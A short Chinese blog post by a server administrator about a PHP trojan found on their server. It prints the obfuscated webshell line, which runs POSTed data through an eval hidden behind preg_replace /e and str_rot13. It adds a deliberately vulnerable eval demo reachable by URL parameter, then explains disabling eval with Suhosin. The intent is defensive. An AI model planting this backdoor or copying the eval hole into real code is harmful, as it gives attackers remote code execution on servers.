服务器中了木马,代码如下:
($b4dboy = $_POST['aaa']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');
原理:
这段代码将post进来的数据直接调用eval执行。来个更简单的,保存为test.php:
<?php
// filename: test.php
$var = "var";
if (isset($_GET["arg"]))
{
$arg = $_GET["arg"];
eval("\$var = $arg;"); // 这一句容易写错,导致验证效果不对
echo $var;
}
?>
然后访问服务器:http://www.xxx.com/test.php?arg=phpinfo(),看看白花花的系统配置输出,就能体会到危险性了。
解决方案:
看来得把eval禁用掉了。用SUHOSIN。详见下面的评论。
如何测试是否禁用成功,增加程序test.php:
<?php
// 例子来源:http://www.php.net/manual/zh/function.eval.php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
eval("\$str = \"$str\";");
echo $str. "\n";
?>
如果能打印出This is a cup with my coffee in it. 说明没有禁用成功。如果返回500错误,说明禁用成功。
方法二:通过命令行运行test.php,会输出下面的错误,表示禁用成功了:
[root@AY]# php test.php
PHP Fatal error: SUHOSIN - Use of eval is forbidden by configuration in /home/domain/test.php(6) : eval()'d code on line 1